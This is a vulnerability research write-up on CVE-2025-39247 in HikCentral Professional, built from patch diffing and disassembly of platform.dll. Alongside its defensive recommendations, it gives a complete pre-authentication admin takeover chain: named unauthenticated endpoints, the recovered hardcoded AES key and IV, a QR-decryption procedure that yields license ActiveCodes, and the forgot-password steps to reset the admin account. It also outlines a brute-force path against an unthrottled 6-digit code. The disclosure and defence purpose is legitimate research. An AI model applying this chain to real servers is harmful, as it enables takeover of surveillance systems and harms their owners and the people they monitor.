
HikCentral Professional - Pre-Auth License ActiveCode Leak
Before downloading anything, what's already public:
| Source | What it tells us |
|---|---|
| Hikvision security advisory | "Missing authentication checks on API endpoints", advice to upgrade to V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | CVSS metrics; vector is network, no auth, scope-changed, confidentiality-high |
| Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews summaries | All restate the advisory; no technical detail, no PoC, no affected endpoint named |
| GitHub PoC aggregators (poc-in-github, 0xMarcio/cve, etc.) | No PoC indexed |
| Forums (ipcamtalk, cctvforum, reddit), torrent indexers | No PoC, no leaked installers; ipcamtalk has a HikCentral usage thread but nothing exploit-related |
So as of analysis date, no public technical write-up exposes the bug. Any reproduction starts from binary diffing.
After CVE-2025-39247 was published the V2.6.2 download page was delisted, but the file on the CDN was never purged. The filename can be recovered from a third-party mirror that indexed the page before delisting (FileHorse — published filename and MD5). With that filename, a plain GET to Hikvision's CDN — using only a normal browser User-Agent and a matching Referer header — still serves it.
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0" \
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/" \
-O \
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
Result:
76d42e7cb16dc0e177b9a35d0fed7ced — matches the FileHorse-published value, confirming the genuine Hikvision-signed installer (not a third-party rebundle)HTTP/2 200, content-type: application/x-msdownload, eo-cache-status: HIT, age: 2520395 (≈ 29 days in the Tencent EdgeOne edge cache without eviction)Side observation worth reporting to Hikvision PSIRT: the "delisting" of the V2.6.2 page is cosmetic. The orphaned file is reachable on the CDN with no auth and no signed-URL gate. V2.5.1 and V2.6.0 Full Packs respond the same way.
Currently linked from the V2.6.3 download page; same retrieval method:
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
Still linked from the V2.6.2 download page (Hikvision want users to apply it):
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
All three are InstallShield-style PE wrappers. 7z peels them in two passes:
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
Both installers expand into roughly two dozen named payload archives. The top-level dirs reveal the architecture:
Crucially, there are no Java JARs/WARs anywhere. The backend is C++ on Nginx — important because it tells you up front that any auth flaw will be in compiled binaries, not in WAR/JAR bytecode where decompilation is trivial.
# Build inventories
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
# Sets: common-path + different MD5 → the patched files
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")}
v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")}
common = set(v262) & set(v263)
changed = [p for p in common if v262[p] != v263[p]]
Result: 239 changed files in common paths. Distribution:
After filtering out vendor-SDK refresh, build-system timestamp drift, and pure cosmetic asset bumps, the actual security-relevant deltas reduce to:
282/ (most prominently platform.dll, the HCMP backend service, +57 KB)diff -u nginx_location.conf between V2.6.2 and V2.6.3 produces exactly one hunk: a brand-new location = block in V2.6.3.
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
That single 21-line addition is the entire CVE-2025-39247 fix at the front-door tier, and it tells you everything:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* proxy directive to the backend with no remote-address restriction and no Nginx-level authentication check.The Chinese comment matters: it translates literally to "Forbid password reset from non-127.0.0.1/::1".
The Web UI JavaScript (minified, in 246/www/Portal/*.js) calls the endpoint as:
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site:
changeDefaultUserPassword(n.SID, {
UserName: form.userName, // "admin"
Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15
ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "",
QuestionList: questionAnswers // [{ID, Answer}, …] or []
}, ...);
// The RSA pubkey comes from another unauthenticated endpoint:
getCrypto: function () {
http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" });
}
// returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
So even before disassembling anything, the public-facing JS gives you the full wire shape. But it also reveals the awkward part: the request body needs either a valid ActiveCode or correct QuestionList answers. Sending empty values does not work — the backend rejects with one of the documented errors (verified by string-mining platform.dll, §7).
So CVE-2025-39247 is not "the endpoint is auth-bypass; send empty fields and the password changes". It is "the endpoint trusts a local-only caller to already have the right ActiveCode; the bug is that the network-level localhost gate is missing, so any remote caller who can also supply a valid ActiveCode or QuestionList succeeds." Therefore the real exploit puzzle is: where does the ActiveCode or QuestionList come from?
platform.dllplatform.dll is the HCMP backend service, 46.87 MB in V2.6.2, 46.93 MB in V2.6.3 (+57 KB). All routing strings, log format strings, and C++ RTTI / __FUNCTION__ strings are present in the clear.
Strings inside platform.dll around the handler:
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
Both versions of platform.dll contain these strings. So the validation logic exists in V2.6.2 too — ActiveCode and QuestionList are checked.
Strings that exist in V2.6.3 platform.dll and not in V2.6.2:
# An entirely new C++ class — rate-limit / lockout subsystem:
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime
VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze
..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp
[%s]AddAccountLoginFailCount only admin can lock, but id: %d
# Application-level remote-addr literal:
127.0.0.1
# Literal "admin" appearing twice near the handler:
admin
# Token validation:
VSMPlatform::CCmd::CheckToken
/ResponseStatus/Data/TokenValid
[%s]token = %s, session = %s
# Lockout/throttle response fields:
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber
/ResponseStatus/Data/RetrievePasswordResult/LockRemainTime
/ResponseStatus/Data/RetrievePasswordResult/RemainingType
Translation: V2.6.2 had no rate-limit on the ChangeDefaultUserPassword validation path. An attacker who supplies a wrong ActiveCode or wrong security-question answers just gets an error and can retry indefinitely. The verify-code format string %06d is also in platform.dll (along with the SQL schema verify_code VARCHAR(64)), confirming the email verify code is a 6-digit decimal, search-space 10⁶.
This is already a viable exploit (path A): trigger SendVerifyCode, brute-force 10⁶ codes inside the expiry window with no lockout. At 1000 req/s mean time-to-success ≈ 8 minutes. But there is a sharper path.
The endpoint enumeration in platform.dll reveals several siblings that look related:
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
None of these is restricted by nginx_location.conf; all go through the same default /ISAPI/Bumblebee/Platform/* proxy. The handler strings show what they return:
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
So RetrieveStateInfo(Name=admin) returns admin's email, whether security-question recovery is configured, whether email recovery is configured, and the remaining lifetime of any in-flight verify code — to anyone, unauthenticated.
RetrieveStateInfo is not locked down by the V2.6.3 patch. The information disclosure persists in V2.6.3.
Endpoint /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode is striking because its name pairs License with ActiveCode — and the password-reset handler accepts an ActiveCode field too. That's a suspicious overlap of terminology.
Strings reachable from that handler:
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
So the QR is Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) and the plaintext literally contains the per-install license ActiveCode that the password-reset endpoint validates. The QR is wrapped in a URL template https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> which is then rendered as a QR-PNG; the PNG is what the JSON response field Data.QRCode returns.
Confirmation by V2.6.3 diff: the format string License:%s;DZP:%s exists in V2.6.2 platform.dll and is removed in V2.6.3. The QR endpoint itself, the PrivateAESEncrptQRCode function symbol, and the IV literal (§10) all persist in V2.6.3 — only the leaky plaintext format was excised. That's exactly what you'd expect Hikvision's fix to look like.
This is the work-heavy step. Plan:
VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode in platform.dll.The error format string [%s]PrivateAESEncrptQRCode failed! data:%s lives in .rdata. Find its .rdata VMA, then scan .text for lea r, [rip + rel32] instructions that resolve to that VMA. (For 16 MB of .text this takes a few seconds with pefile + capstone doing a linear walk for the REX.W + 8D + MODRM mod=00 rm=101 pattern.)
The error log is referenced from exactly one instruction at 0x1812553f7. Walking up to the enclosing function via .pdata (the PE x64 unwind table — section header parseable with pefile, twelve bytes per RUNTIME_FUNCTION entry: start_RVA, end_RVA, unwind_RVA) gives the outer ISAPI handler CLicenseISAPIComm::ActiveCodeQRcode at 0x181254cc0..0x181255919.
That outer function builds the "License:%s;DZP:%s" plaintext string and base64-encodes the result; the actual AES call is in a helper one level down, at 0x18002a397 (resolves via a jmp thunk to a 502-byte function whose RTTI string is VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — confirmed by string xref).
0x1807d33e0Disassembling the 502-byte body and listing every lea r, [rip + rel32] whose target lands in .rdata returns just 5 stringrefs:
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
The first entry is the only 16-byte stringref. That length is suspicious: AES block / key / IV are all 16 bytes for AES-128. The literal AaBbCcDd1234!@#$ — eight alternating-case letter pairs followed by 1234!@#$ — is also the textbook "developer placeholder constant" shape (similar to the real BAADF00D / DEADBEEF ASCII idioms). At this point a sensible hypothesis is "this is the IV".
That hypothesis is supported by the disassembly context. The instruction sequence around the stringref:
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
So [rsp+0xe0] ends up holding the IV bytes, [rsp+0xa0] holds 16 bytes built earlier into [rsp+0xc0] (the key), and these two buffers are then passed to the OpenSSL wrapper. Confirming the IV recovery is just a matter of cross-checking: V2.6.3's platform.dll still contains the literal AaBbCcDd1234!@#$ at the same offset — Hikvision did not rotate the IV, which is the correct cryptographic choice (only the key needs to be secret, the IV needs to be unique-per-message, but a fixed IV is "weak" not "broken" the way a fixed key is).
Immediately above the IV stringref, the wrapper sets up the key with this short sequence:
mov dl, 0x41 ; seed byte = 'A'
lea rcx, [rsp + 0x140] ; this-pointer for a local buffer
call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function)
mov [rsp + 0x50], rax
mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced
lea rcx, [rsp + 0xc0]
call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
Then disassembling 0x1807d19b0: it is a pure-arithmetic key-derivation function. It takes one byte as input (the 0x41), allocates 16 stack bytes, and writes 16 values each computed as seed + offset_i for a hardcoded sequence of 16 signed offsets:
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
With seed 0x41 ('A'):
Algorithm: AES-128-CBC with PKCS7 padding
IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$
KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Same arithmetic family. Same trailing 8 bytes (1234!@#$). Both are binary-embedded constants identical across every V2.6.2 install (and across V2.3.1 .. V2.6.2 and V3.0.0 — they share the QR-encrypt path), so a one-time recovery from one copy of platform.dll is enough to decrypt the QR from any vulnerable HCMP server on the network.
The chain splits cleanly into two halves:
The split matters: it lets the reference PoC be implemented as a pure recon tool with no destructive code path anywhere in it (the UI workflow stays human-in-the-loop).
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
No brute force, no social engineering, no prior knowledge except the 16-byte KEY+IV pair that's recoverable once from one V2.6.2 platform.dll and identical across every install of every vulnerable version. Halves 4-10 are performed manually by the operator through the legitimate UI — there is no automated equivalent in the reference PoC.
Implementation: poc/cve_2025_39247_poc.py — a recon-only Python script. It performs HALF 1 (two pre-auth read-only POSTs) and then prints the manual recipe (steps 4-10) with the operator's target URL and the recovered ActiveCode(s) filled in. The script contains no code that writes to the target; HALF 2 is performed manually through the Web UI so the tool remains a verification instrument rather than a fire-and-forget weapon.
Run:
python3 poc/cve_2025_39247_poc.py https://<TARGET>:<PORT>
Two --qr-* flags let the script run entirely offline against a captured QR (for analysis without re-hitting a target):
--qr-scanned-text '<value>' — paste the text content of a scanned QR--qr-ciphertext-hex <hex> — feed pre-extracted base64-decoded AES ciphertextThe Fix-Pack ships an extra moving part the V2.6.3 release doesn't need: a whitebox-AES decryptor (wbext_dec.exe, source path leaks D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c, uses its own fixed_iv_16byte IV literal) plus a 244-byte AES-128-CFB ciphertext (wbaes_key_dec). The decryptor takes the ciphertext blob and produces a new plaintext key, which the Fix-Pack installer writes into HCMP's storage to rotate the binary-embedded QR key on existing V2.6.2 installations. Whitebox-AES is used here purely to make the rotated key inconvenient to lift back out of the patch artefact by inspection — the same defensive technique used by DRM systems.
…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe still serves HTTP/2 200 with a 29-day-old edge-cache hit. The same is true for V2.6.0, V2.5.1 etc. — every installer in the vulnerable range is still reachable by direct URL. The page-level delisting is cosmetic.RetrieveStateInfo and GetSecurityQuestionCommBeforeLogin. Both leak admin email and recovery-configuration metadata to anonymous callers in V2.6.3 as well; neither was touched by the fix.WwXxYyZz1234!@#$ is the kind of value that survives "code review by skim". Replace with per-install random material at first run; if backward compatibility requires a binary-embedded fallback, at minimum derive it from a hash of installation-specific state (machine GUID, install timestamp) so it varies per deployment.ChangeDefault* endpoints, prefer a Unix-domain-socket / loopback-only listener at the application layer over an Nginx config restriction. A config file is one mis-edit away from re-introducing the bug; a bind 127.0.0.1 in the C++ service is structurally safer.| Archive | Contents |
|---|
246/Nginx + 246/www | Nginx web tier (the front door) and the SPA web UI |
244/bin | Native C++ service binaries + certs |
240 | Bundled PostgreSQL + DB init scripts |
238 | Bee* runtime (BeeAgent, BeeGuard, …) |
282 | Application services and addons (the bulk of the C++ backend code) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | Smaller addons, plugins, upgrade/uninstall stubs |
| Bucket | Count | Comment |
|---|
246/www/*.js (Web UI chunks) | ~200 | Mostly version-bumped asset hashes; ignore |
246/Nginx/conf/nginx_location.conf | 1 | Single-file Nginx config delta — start here |
246/Nginx*/install.bat | 6 | Install scripts, unrelated |
244/bin/*.{exe,dll} | 6 | Native binaries (DistributionFilter.dll, FilterChain.dll, media tools) |
282/*.{exe,dll} | 55 | Application services (the largest cluster — platform.dll, PersonCredential.dll, baseacs.*, …) |
240/bin/pg_* | 6 | Postgres rebuild, unrelated |
284/hplugin/dahua_plugin/* | 4 | Vendor SDK refresh (+10.97 MB) — unrelated |
284/hplugin/onvif_plugin/* | 4 | Vendor SDK refresh (+0.99 MB) — unrelated |
| upgrade/uninstall stubs, crash reporters | ~30 | Same-size PE timestamp rebuilds, ignore |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |
| Defence | V2.6.2 | V2.6.3 | Fix-Pack on V2.6.2 |
|---|
Nginx remote-addr restriction on ChangeDefaultUserPassword | absent | added | added (via InstallShield script in the Fix-Pack EXE — confirmed by the strings \VSM Servers\Web Service\Nginx\conf\nginx_location.conf / _bak.conf inside the Fix-Pack's installer engine) |
App-level 127.0.0.1 literal check in handler | absent | added | not added (Fix-Pack doesn't patch platform.dll) |
Per-account lockout (CRetrievePwdByQuesFreezeManager) | absent | added (admin-only) | not added |
CheckToken validation step | absent | added | not added |
QR plaintext contains License:<ActiveCode>;DZP:... | YES | removed | not changed (Fix-Pack doesn't patch platform.dll) |
| QR AES key | recoverable from binary | rotated or unused (depends on whether the plaintext-format change rendered the path dead) | rotated via wbaes_key_dec + whitebox-AES decryptor in the Fix-Pack |
| QR AES IV | AaBbCcDd1234!@#$ | unchanged | unchanged |
RetrieveStateInfo info disclosure | leaks | still leaks | still leaks |
GetSecurityQuestionCommBeforeLogin | leaks | still leaks | still leaks |
| Vulnerable installer reachable on Hikvision CDN | yes | yes | yes |